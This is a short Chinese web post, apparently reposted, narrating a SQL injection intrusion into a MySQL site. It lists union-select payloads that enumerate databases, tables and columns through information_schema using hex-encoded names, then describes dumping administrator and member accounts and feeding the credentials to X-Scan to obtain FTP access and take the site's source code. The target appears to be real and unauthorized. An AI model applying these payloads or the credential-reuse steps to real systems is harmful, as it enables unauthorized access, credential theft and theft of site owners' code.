注册
登录
| 关键词： SCHEMA select information 帐号 NAME 61646 limit 权限 字段 口令 |
找注射点，判断字段数就不提了。判断下权限，非root连，没有load_file()的权限，不能select into outfile,幸好mysql版本是5.获取库名and 1=2 union select 1,2,3,database(),5....,87/*或者and 1=2 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1/*and 1=2 select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1/*----------------------------------------------------------------------------------------------获取表名：数据库名转换成hex：admin=0x61646D696E and 1=2 select TABLE_NAME from information_schema.TABLES%20where%20TABLE_SCHEMA=0x61646D696E%20limit 0,1/*。。。依次往下爆------------------------------------------------------------------------------------------------获取字段值：表 admin=0x61646D696E and 1=2 select COLUMN_NAME from information_schema.COLUMNS%20where%20TABLE_NAME=0x61646D696E%20limit 0,1/*---------------------------------------------------------------------------------------------------爆出管理员帐号后，发现登录不了后台。于是又爆了10套member帐号。整理了下帐号和口令，扔xscan跑ftp口令，2分钟后拿到ftp权限。只是要源代码，到此收工。没技术含量！ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
